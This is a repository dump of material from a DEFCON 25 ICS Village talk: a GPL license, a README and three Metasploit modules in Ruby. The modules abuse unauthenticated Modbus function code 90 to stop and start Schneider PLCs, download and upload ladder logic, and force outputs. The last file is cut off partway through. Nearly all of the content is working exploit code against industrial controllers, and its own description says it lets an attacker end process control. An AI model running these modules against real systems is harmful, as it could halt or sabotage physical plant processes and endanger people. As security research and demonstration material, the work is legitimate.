├── LICENSE ├── README.md ├── modicon_command_CTv2.rb ├── modicon_stux_transfer_ASO.rb └── schneider.rb /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. 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It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # funwithmodbus0x5a 2 | 3 | Material from my ICS Village talk at DEFCON 25 4 | 5 | *This is a temporary repo to store and make available the tools used during the talks* 6 | 7 | *The scripts should be finalized and integrated into Metasploit* 8 | 9 | # Talks 10 | The slides are located on [Google Slides](https://docs.google.com/presentation/d/1K79add5Nqdlh8rBa2XrvcmSOGvPCnQE-leJSrkkKH5E/edit?usp=sharing) 11 | Some demo videos can be found [here](https://drive.google.com/drive/folders/0BwnYYhA62txMOTZibnlOckdFcHM?usp=sharing) 12 | 13 | # Description 14 | + `modicon_stux_transfer_ASO.rb`: allows downloading a program from the PLC 15 | + `schneider.rb`: allows to gather information about the PLC (*GATHER_INFOS*) and to force the values of the digital outputs (*M340_FORCE_OUTPUTS*) 16 | + `modicon_command_CTv2.rb`: work by Alexandrine TORRENTS to allow START/STOP on TM221 PLCs. 17 | -------------------------------------------------------------------------------- /modicon_command_CTv2.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | 8 | class MetasploitModule < Msf::Auxiliary 9 | 10 | include Msf::Exploit::Remote::Tcp 11 | include Rex::Socket::Tcp 12 | 13 | def initialize(info = {}) 14 | super(update_info(info, 15 | 'Name' => 'Schneider Remote START/STOP Command', 16 | 'Description' => %q{ 17 | The Schneider with SoMachine Basic or Unity series of PLCs use Modbus function 18 | code 90 (0x5a) to perform administrative commands without authentication. 19 | This module allows a remote user to change the state of the PLC between 20 | STOP and RUN, allowing an attacker to end process control by the PLC. 21 | 22 | This module is based on the original 'modiconstop.rb' Basecamp module from 23 | DigitalBond. 24 | }, 25 | 'Author' => 26 | [ 27 | 'K. Reid Wightman ', # original module 28 | 'todb', # Metasploit fixups 29 | 'Alexandrine Torrents ' # new module for Schneider TM221 30 | ], 31 | 'License' => MSF_LICENSE, 32 | 'References' => 33 | [ 34 | [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ] 35 | ], 36 | 'DisclosureDate' => 'Apr 5 2012' 37 | )) 38 | register_options( 39 | [ 40 | OptEnum.new("MODE", [true, 'PLC command', "STOP", 41 | [ 42 | "STOP", 43 | "RUN" 44 | ] 45 | ]), 46 | Opt::RPORT(502) 47 | ], self.class) 48 | 49 | end 50 | 51 | # this is used for building a Modbus frame 52 | # just prepends the payload with a modbus header 53 | def makeframe(packetdata) 54 | if packetdata.size > 255 55 | print_error("packet too large, sorry") 56 | print_error("Offending packet: " + packetdata) 57 | return 58 | end 59 | payload = "" 60 | payload += [@modbuscounter].pack("n") 61 | payload += "\x00\x00\x00" #dunno what these are 62 | payload += [packetdata.size].pack("c") # size byte 63 | payload += packetdata 64 | end 65 | 66 | # a wrapper just to be sure we increment the counter 67 | def sendframe(payload) 68 | sock.put(payload) 69 | @modbuscounter += 1 70 | r = sock.recv(65535, 0.1) # XXX: All I care is that we wait for a packet to come in, but I'd like to minimize the wait time and also minimize OS buffer use. What to do? 71 | return r 72 | end 73 | 74 | def stop_TM221 75 | payload = "\x01\x5a\xc9\x41\xff\x00" 76 | sendframe(makeframe(payload)) 77 | end 78 | 79 | def start_TM221 80 | payload2 = "\x00\x75\x01\x82\x00\x00\x01\x01\x02" 81 | payload = "\x01\x5a\xc9\x40\xff\x00" 82 | sendframe(makeframe(payload)) 83 | sendframe(makeframe(payload2)) 84 | end 85 | 86 | # This function sends some initialization requests 87 | # I have no idea what these do, but they seem to be 88 | # needed to get the Modicon chatty with us. 89 | # I would make some analogy to 'gaming' in the 90 | # bar-dating scene, but I'll refrain. 91 | def init_modicon 92 | payload = "\x00\x5a\x00\x02" 93 | sendframe(makeframe(payload)) 94 | payload = "\x00\x5a\x00\x01\x00" 95 | sendframe(makeframe(payload)) 96 | payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9 97 | sendframe(makeframe(payload)) 98 | payload = "\x00\x5a\x00\x03\x00" 99 | sendframe(makeframe(payload)) 100 | payload = "\x00\x5a\x00\x03\x04" 101 | sendframe(makeframe(payload)) 102 | payload = "\x00\x5a\x00\x04" 103 | sendframe(makeframe(payload)) 104 | payload = "\x00\x5a\x00\x01\x00" 105 | sendframe(makeframe(payload)) 106 | payload = "\x00\x5a\x00\x0a\x00" 107 | (0..0xf9).each { |x| payload += [x].pack("c") } 108 | sendframe(makeframe(payload)) 109 | payload = "\x00\x5a\x00\x04" 110 | sendframe(makeframe(payload)) 111 | payload = "\x00\x5a\x00\x04" 112 | sendframe(makeframe(payload)) 113 | payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00" 114 | sendframe(makeframe(payload)) 115 | payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00" 116 | sendframe(makeframe(payload)) 117 | payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00" 118 | sendframe(makeframe(payload)) 119 | payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00" 120 | sendframe(makeframe(payload)) 121 | payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00" 122 | sendframe(makeframe(payload)) 123 | payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00" 124 | sendframe(makeframe(payload)) 125 | payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00" 126 | sendframe(makeframe(payload)) 127 | payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00" 128 | sendframe(makeframe(payload)) 129 | payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00" 130 | sendframe(makeframe(payload)) 131 | payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00" 132 | sendframe(makeframe(payload)) 133 | payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00" 134 | sendframe(makeframe(payload)) 135 | payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00" 136 | sendframe(makeframe(payload)) 137 | payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f" 138 | payload += "USER-714E74F21B" # Yep, really 139 | #payload += "META-SPLOITMETA" 140 | sendframe(makeframe(payload)) 141 | payload = "\x00\x5a\x01\x04" 142 | sendframe(makeframe(payload)) 143 | payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b" 144 | sendframe(makeframe(payload)) 145 | payload = "\x00\x5a\x01\x50\x15\x00\x01\x07" 146 | sendframe(makeframe(payload)) 147 | payload = "\x00\x5a\x01\x12" 148 | sendframe(makeframe(payload)) 149 | payload = "\x00\x5a\x01\x04" 150 | sendframe(makeframe(payload)) 151 | payload = "\x00\x5a\x01\x12" 152 | sendframe(makeframe(payload)) 153 | payload = "\x00\x5a\x01\x04" 154 | sendframe(makeframe(payload)) 155 | payload = "\x00\x5a\x00\x02" 156 | sendframe(makeframe(payload)) 157 | payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70" 158 | sendframe(makeframe(payload)) 159 | payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00" 160 | sendframe(makeframe(payload)) 161 | payload = "\x00\x5a\x01\x04" 162 | sendframe(makeframe(payload)) 163 | payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00" 164 | sendframe(makeframe(payload)) 165 | end 166 | 167 | def stop_modicon 168 | payload = "\x00\x5a\x01\x41\xff\x00" 169 | sendframe(makeframe(payload)) 170 | payload = "\x00\x5a\x01\x04" 171 | sendframe(makeframe(payload)) 172 | end 173 | 174 | def start_modicon 175 | payload = "\x00\x5a\x01\x40\xff\x00" 176 | sendframe(makeframe(payload)) 177 | payload = "\x00\x5a\x01\x04" 178 | sendframe(makeframe(payload)) 179 | end 180 | 181 | def logout_modicon 182 | payload = "\x00\x5a\00\x58\x02\x01\x00\x00\x00\x00\x00\x00\x00" 183 | sendframe(makeframe(payload)) 184 | payload = "\x00\x5a\01\x11" 185 | sendframe(makeframe(payload)) 186 | end 187 | 188 | def stop 189 | print_status("Sending initialization requests ...") 190 | payload = "\x01\x5a\x00\x02" 191 | api = sendframe(makeframe(payload)) 192 | if api.nil? 193 | print_error("No answer from PLC") 194 | else 195 | print_good("PLC model : " + api[33..44].to_s) 196 | if api[33..35] == "TM2" 197 | print_good("Stopping TM221") 198 | stop_TM221 199 | elsif api[33..35] == "BMX" 200 | print_good("Stopping Modicon") 201 | init_modicon 202 | stop_modicon 203 | logout_modicon 204 | else 205 | print_error("PLC not recognized") 206 | end 207 | end 208 | end 209 | 210 | def start 211 | print_status("Sending initialization requests ...") 212 | payload = "\x01\x5a\x00\x02" 213 | api = sendframe(makeframe(payload)) 214 | if api.nil? 215 | print_error("No answer from PLC") 216 | else 217 | print_good("PLC model : " + api[33..44].to_s) 218 | if api[33..35] == "TM2" 219 | print_good("Starting TM221") 220 | start_TM221 221 | elsif api[33..35] == "BMX" 222 | print_good("Starting Modicon") 223 | init_modicon 224 | start_modicon 225 | logout_modicon 226 | else 227 | print_error("PLC not recognized") 228 | end 229 | end 230 | end 231 | 232 | def run 233 | @modbuscounter = 0x0000 # used for modbus frames 234 | connect 235 | case datastore['MODE'] 236 | when "STOP" 237 | stop 238 | when "RUN" 239 | start 240 | else 241 | print_error("Invalid MODE") 242 | return 243 | end 244 | end 245 | end 246 | -------------------------------------------------------------------------------- /modicon_stux_transfer_ASO.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http//metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | 8 | class Metasploit3 < Msf::Auxiliary 9 | 10 | include Msf::Exploit::Remote::Tcp 11 | include Rex::Socket::Tcp 12 | include Msf::Auxiliary::Report 13 | 14 | def initialize(info = {}) 15 | super(update_info(info, 16 | 'Name' => 'Schneider Modicon Ladder Logic Upload/Download', 17 | 'Description' => %q{ 18 | The Schneider Modicon with Unity series of PLCs use Modbus function 19 | code 90 (0x5a) to send and receive ladder logic. The protocol is 20 | unauthenticated, and allows a rogue host to retrieve the existing 21 | logic and to upload new logic. 22 | 23 | Three actions are supported : Gather informations, 24 | download the ladder logic or upload a new ladder logic. 25 | In either mode, FILENAME must be set to a valid path to an existing 26 | file (UPLOAD) or a new file (DOWNLOAD), and the directory must 27 | already exist. The default, 'modicon_ladder.apx' is a blank 28 | ladder logic file which can be used for testing. 29 | 30 | This module is based on the original 'modiconstux.rb' Basecamp module from 31 | DigitalBond. 32 | }, 33 | 'Author' => 34 | [ 35 | 'Arnaud Soullie ', # fix module, add info gathering, refactor 36 | 'K. Reid Wightman ', # original module 37 | 'todb' # Metasploit fixups 38 | ], 39 | 'License' => MSF_LICENSE, 40 | 'References' => 41 | [ 42 | [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ] 43 | ], 44 | 'DisclosureDate' => 'Apr 5 2012', 45 | 'Actions' => 46 | [ 47 | ['GATHER_INFOS', { 'Description' => 'Get informations about the PLC configuration' } ], 48 | ['DOWNLOAD', { 'Description' => 'Download the ladder logic from the PLC' } ], 49 | ['UPLOAD', { 'Description' => 'Upload a ladder logic file to the PLC' } ], 50 | ] 51 | )) 52 | 53 | register_options( 54 | [ 55 | OptString.new('FILENAME', 56 | [ 57 | true, 58 | "The file to send or receive", 59 | File.join(Msf::Config.data_directory, "exploits", "modicon_ladder.apx") 60 | ]), 61 | Opt::RPORT(502) 62 | ], self.class) 63 | 64 | end 65 | 66 | def run 67 | unless valid_filename? 68 | print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}" 69 | return nil 70 | end 71 | @modbus_counter = 0x0000 # used for modbus frames 72 | connect 73 | init 74 | case datastore['ACTION'] 75 | when "DOWNLOAD" 76 | readfile 77 | when "UPLOAD" 78 | writefile 79 | when "GATHER_INFOS" 80 | gather_infos 81 | end 82 | end 83 | 84 | def handle_error(response) 85 | case response.reverse.unpack("c")[0].to_i 86 | when 1 87 | print_error("Error : ILLEGAL FUNCTION") 88 | when 2 89 | print_error("Error : ILLEGAL DATA ADDRESS") 90 | when 3 91 | print_error("Error : ILLEGAL DATA VALUE") 92 | when 4 93 | print_error("Error : SLAVE DEVICE FAILURE") 94 | when 6 95 | print_error("Error : SLAVE DEVICE BUSY") 96 | else 97 | print_error("Unknown error") 98 | end 99 | exit 100 | end 101 | 102 | def valid_filename? 103 | if datastore['MODE'] == "SEND" 104 | File.readable? datastore['FILENAME'] 105 | else 106 | File.writable?(File.split(datastore['FILENAME'])[0].to_s) 107 | end 108 | end 109 | 110 | # this is used for building a Modbus frame 111 | # just prepends the payload with a modbus header 112 | def make_frame(packetdata) 113 | if packetdata.size > 255 114 | print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}") 115 | return 116 | end 117 | payload = [@modbus_counter].pack("n") 118 | payload += "\x00\x00\x00" #dunno what these are 119 | payload += [packetdata.size].pack("c") # size byte 120 | payload += packetdata 121 | end 122 | 123 | # a wrapper just to be sure we increment the counter 124 | def send_frame(payload) 125 | sock.put(payload) 126 | @modbus_counter += 1 127 | r = sock.get(sock.def_read_timeout) 128 | if r.nil? 129 | print_error("No answer from target") 130 | exit 131 | elsif r.unpack("C*")[-2] == 218 132 | #print_error("Apparently there is an error") 133 | #handle_error(r) 134 | return r 135 | else 136 | return r 137 | end 138 | end 139 | 140 | # This function sends some initialization requests 141 | # required for priming the Quantum 142 | def init 143 | send_frame(make_frame("\x00\x5a\x00\x02")) 144 | send_frame(make_frame("\x00\x5a\x00\x01\x00")) 145 | send_frame(make_frame("\x00\x5a\x00\x0a\x00" + 'T' * 0xf9)) 146 | send_frame(make_frame("\x00\x5a\x00\x03\x00")) 147 | send_frame(make_frame("\x00\x5a\x00\x03\x04")) 148 | send_frame(make_frame("\x00\x5a\x00\x04")) 149 | send_frame(make_frame("\x00\x5a\x00\x01\x00")) 150 | payload = "\x00\x5a\x00\x0a\x00" 151 | (0..0xf9).each { |x| payload += [x].pack("c") } 152 | send_frame(make_frame(payload)) 153 | send_frame(make_frame("\x00\x5a\x00\x04")) 154 | send_frame(make_frame("\x00\x5a\x00\x04")) 155 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00")) 156 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00")) 157 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00")) 158 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00")) 159 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00")) 160 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00")) 161 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00")) 162 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00")) 163 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00")) 164 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00")) 165 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00")) 166 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00")) 167 | payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f" 168 | #payload += "USER-714E74F21B" # Yep, really 169 | payload += "META-SPLOITMETA" 170 | send_frame(make_frame(payload)) 171 | send_frame(make_frame("\x00\x5a\x01\x04")) 172 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x01\x0b")) 173 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x01\x07")) 174 | send_frame(make_frame("\x00\x5a\x01\x12")) 175 | send_frame(make_frame("\x00\x5a\x01\x04")) 176 | send_frame(make_frame("\x00\x5a\x01\x12")) 177 | send_frame(make_frame("\x00\x5a\x01\x04")) 178 | send_frame(make_frame("\x00\x5a\x00\x02")) 179 | send_frame(make_frame("\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70")) 180 | send_frame(make_frame("\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00")) 181 | send_frame(make_frame("\x00\x5a\x01\x04")) 182 | send_frame(make_frame("\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00")) 183 | end 184 | 185 | 186 | def gather_infos 187 | print_status("Sending initialization requests ...") 188 | api = send_frame(make_frame("\x00\x5a\x00\x02")) 189 | print_good("PLC model : " + api.split[1].to_s + ' ' + api.split[2] + ' ' + api.split[3][0..3]) 190 | send_frame(make_frame("\x00\x5a\x00\x01\x00")) 191 | send_frame(make_frame("\x00\x5a\x00\x0a\x00" + 'T' * 0xf9)) 192 | project_name = send_frame(make_frame("\x00\x5a\x00\x03\x00")) 193 | print_good('Project name : ' + project_name.split[2].to_s) 194 | send_frame(make_frame("\x00\x5a\x00\x03\x04")) 195 | send_frame(make_frame("\x00\x5a\x00\x04")) 196 | send_frame(make_frame("\x00\x5a\x00\x01\x00")) 197 | payload = "\x00\x5a\x00\x0a\x00" 198 | (0..0xf9).each { |x| payload += [x].pack("c") } 199 | send_frame(make_frame(payload)) 200 | send_frame(make_frame("\x00\x5a\x00\x04")) 201 | send_frame(make_frame("\x00\x5a\x00\x04")) 202 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00")) 203 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00")) 204 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00")) 205 | data = send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00")) 206 | tableau = [] 207 | data.bytes.each do |byte| 208 | tableau.push(byte.to_s) 209 | end 210 | @uaelbat = tableau.reverse 211 | nb_to_delete = 1 212 | for i in 1..tableau.size 213 | if @uaelbat[i].to_s != '0' 214 | break 215 | elsif @uaelbat[i].to_s == '0' 216 | nb_to_delete +=1 217 | end 218 | end 219 | tableau2 = @uaelbat[nb_to_delete..@uaelbat.size] 220 | test = tableau2.split('0') 221 | unity_version = '' 222 | test[0].each do |char| 223 | unity_version += [char.to_i].pack("c") 224 | end 225 | print_good("Unity software version : " + unity_version.reverse) 226 | comments ='' 227 | test[7].each do |char| 228 | comments += [char.to_i].pack("c") 229 | end 230 | print_good("Project comments : " + comments.reverse) 231 | end 232 | 233 | 234 | 235 | 236 | # Write the contents of local file filename to the target's filenumber 237 | # blank logic files will be available on the Digital Bond website 238 | def writefile 239 | print_status "#{rhost}:#{rport} - MODBUS - Sending write request" 240 | #blocksize = 244 # bytes per block in file transfer 241 | blocksize = 218 # bytes per block in file transfer 242 | buf = File.open(datastore['FILENAME'], 'rb') { |io| io.read } 243 | fullblocks = buf.length / blocksize 244 | #if fullblocks > 255 245 | # print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.") 246 | # return 247 | #end 248 | print_status "Total number of blocks : #{fullblocks}" 249 | lastblocksize = buf.length - (blocksize*fullblocks) 250 | lastblocksize_enhexa = [lastblocksize].pack("c") 251 | print_status "Last block size : #{lastblocksize}" 252 | fileblocks = fullblocks 253 | if lastblocksize != 0 254 | fileblocks += 1 255 | end 256 | filetype = buf[0..2] 257 | if filetype == "APX" 258 | filenum = "\x01" 259 | elsif filetype == "APB" 260 | filenum = "\x10" 261 | end 262 | send_frame(make_frame("\x00\x5a\x01\x41\xff\x00")) 263 | send_frame(make_frame("\x00\x5a\x00\x03\x01")) 264 | send_frame(make_frame("\x00\x5a\x01\x04")) 265 | send_frame(make_frame("\x00\x5a\x00\x02")) 266 | send_frame(make_frame("\x00\x5a\x00\x02")) 267 | send_frame(make_frame("\x00\x5a\x01\x04")) 268 | send_frame(make_frame("\x00\x5a\x01\x04")) 269 | send_frame(make_frame("\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xe1\x00")) 270 | send_frame(make_frame("\x00\x5a\x00\x02")) 271 | 272 | 273 | send_frame(make_frame("\x00\x5a\x01\x04")) 274 | send_frame(make_frame("\x00\x5a\x00\x03\x01")) 275 | send_frame(make_frame("\x00\x5a\x00\x02")) 276 | send_frame(make_frame("\x00\x5a\x00\x02")) 277 | send_frame(make_frame("\x00\x5a\x01\x04")) 278 | 279 | 280 | payload = "\x00\x5a\x01\x30\x00" 281 | payload += filenum 282 | response = send_frame(make_frame(payload)) 283 | if response[8..9] == "\x01\xfe" 284 | print_status("#{rhost}:#{rport} - MODBUS - Write request success! Writing file...") 285 | else 286 | print_error("#{rhost}:#{rport} - MODBUS - Write request error. Aborting.") 287 | return 288 | end 289 | payload = "\x00\x5a\x01\x04" 290 | send_frame(make_frame(payload)) 291 | block = 1 292 | block2 = 0 293 | block_nb = 1 294 | block2status = 0 # block 2 must always be sent twice 295 | while block_nb < (fileblocks - 1) 296 | block_nb = block2*16*16 + block 297 | if block == 256 298 | block = 0 299 | block2 += 1 300 | end 301 | payload = "\x00\x5a\x01\x31\x00" 302 | payload += filenum 303 | payload += [block].pack("c") 304 | payload += [block2].pack("c") 305 | payload += "\xda\x00" 306 | payload += buf[(((block2*16*16 + block) - 1) * 218)..(((block2*16*16 + block) * 218) - 1)] 307 | res = send_frame(make_frame(payload)) 308 | print_status "Envoi du block #{block_nb}/#{fullblocks} (#{block2}::#{block})" 309 | if res[8..9] != "\x01\xfe" 310 | print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block_nb}") 311 | return 312 | end 313 | # redo this iteration of the loop if we're on block 2 314 | if block2status == 0 and block == 2 315 | print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time") 316 | block2status = 1 317 | redo 318 | end 319 | block += 1 320 | end 321 | if lastblocksize > 0 322 | print_status "Last Block !" 323 | print_status "Size : #{lastblocksize}" 324 | payload = "\x00\x5a\x01\x31\x00" 325 | payload += filenum 326 | payload += [block].pack("c") 327 | payload += [block2].pack("c") 328 | payload += [lastblocksize].pack("c") + "\x00" 329 | payload += buf[(((block2*16*16 + block)-1) * 218)..((((block2*16*16 + block)-1) * 218) + lastblocksize)] 330 | print_status "#{rhost}:#{rport} - MODBUS - Block #{block_nb}: #{payload.inspect}" 331 | res = send_frame(make_frame(payload)) 332 | if res[8..9] != "\x01\xfe" 333 | print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block") 334 | return 335 | end 336 | end 337 | vprint_status "#{rhost}:#{rport} - MODBUS - Closing file" 338 | payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x0a" 339 | send_frame(make_frame(payload)) 340 | end 341 | 342 | # Only reading the STL file is supported at the moment :( 343 | def readfile 344 | print_status "#{rhost}:#{rport} - MODBUS - Sending read request" 345 | file = File.open(datastore['FILENAME'], 'wb') 346 | response = send_frame(make_frame("\x00\x5a\x01\x33\x00\x01\xfb\x00")) 347 | print_status("#{rhost}:#{rport} - MODBUS - Retrieving file") 348 | block = 1 349 | block2 = 0 350 | filedata = "" 351 | finished = false 352 | while !finished 353 | if block == 256 354 | block = 0 355 | block2 += 1 356 | end 357 | payload = "\x00\x5a\x01\x34\x00\x01" 358 | payload += [block].pack("c") 359 | payload += [block2].pack("c") 360 | payload += "\x00" 361 | response = send_frame(make_frame(payload)) 362 | filedata += response[0xe..-1] 363 | vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block2*255+block}: #{response[0xe..-1].inspect}" 364 | if response[0xa] == "\x01" # apparently 0x00 == more data, 0x01 == eof? 365 | finished = true 366 | else 367 | block += 1 368 | end 369 | end 370 | print_status("#{rhost}:#{rport} - MODBUS - Closing file '#{datastore['FILENAME']}'") 371 | payload = "\x00\x5a\x01\x35\x00\x01" + [block].pack("c") + "\x00" 372 | send_frame(make_frame(payload)) 373 | # I cannot use store_loot as the "session" variable is undefined. Is it because it is an auxiliary module ? 374 | #store_loot('schneider.ladder_logic', 'application/octet-stream', nil, filedata, 'Station.apx', 'Schneider Modicon ladder logic') 375 | file.print filedata 376 | file.close 377 | end 378 | 379 | def cleanup 380 | disconnect rescue nil 381 | end 382 | 383 | end 384 | -------------------------------------------------------------------------------- /schneider.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http//metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | require 'msf/core' 6 | class MetasploitModule < Msf::Auxiliary 7 | include Msf::Exploit::Remote::Tcp 8 | include Rex::Socket::Tcp 9 | include Msf::Auxiliary::Report 10 | def initialize(info = {}) 11 | super(update_info(info, 12 | 'Name' => 'Schneider Modicon Ladder Logic Upload/Download', 13 | 'Description' => %q{ 14 | The Schneider Modicon with Unity series of PLCs use Modbus function 15 | code 90 (0x5a) to send and receive ladder logic. The protocol is 16 | unauthenticated, and allows a rogue host to retrieve the existing 17 | logic and to upload new logic. 18 | Three actions are supported : Gather informations, 19 | download the ladder logic or upload a new ladder logic. 20 | In either mode, FILENAME must be set to a valid path to an existing 21 | file (UPLOAD) or a new file (DOWNLOAD), and the directory must 22 | already exist. The default, 'modicon_ladder.apx' is a blank 23 | ladder logic file which can be used for testing. 24 | This module is based on the original 'modiconstux.rb' Basecamp module from 25 | DigitalBond. 26 | }, 27 | 'Author' => 28 | [ 29 | 'Arnaud Soullie ', # fix module, add info gathering, refactor 30 | 'K. Reid Wightman ', # original module 31 | 'todb' # Metasploit fixups 32 | ], 33 | 'License' => MSF_LICENSE, 34 | 'References' => 35 | [ 36 | [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ] 37 | ], 38 | 'DisclosureDate' => 'Apr 5 2012', 39 | 'Actions' => 40 | [ 41 | ['GATHER_INFOS', { 'Description' => 'Get informations about the PLC configuration' } ], 42 | ['DOWNLOAD', { 'Description' => 'Download the ladder logic from the PLC' } ], 43 | ['UPLOAD', { 'Description' => 'Upload a ladder logic file to the PLC' } ], 44 | ['FORCE_M340_OUTPUTS', { 'Description' => 'Try forcing some bits on M340' } ], 45 | ['FORCE_M340_WORDS', { 'Description' => 'Try forcing some words on M340' } ], 46 | ] 47 | )) 48 | register_options( 49 | [ 50 | OptString.new('FILENAME', 51 | [ 52 | true, 53 | "The file to send or receive", 54 | File.join(Msf::Config.data_directory, "exploits", "test.smbp") 55 | ]), 56 | Opt::RPORT(502) 57 | ], self.class) 58 | end 59 | def run 60 | unless valid_filename? 61 | print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}" 62 | return nil 63 | end 64 | @modbus_counter = 0x0000 # used for modbus frames 65 | connect 66 | #init 67 | case datastore['ACTION'] 68 | when "DOWNLOAD" 69 | readfile 70 | when "UPLOAD" 71 | writefile 72 | when "GATHER_INFOS" 73 | gather_infos 74 | when "FORCE_M340_OUTPUTS" 75 | force_m340_outputs 76 | when "FORCE_M340_WORDS" 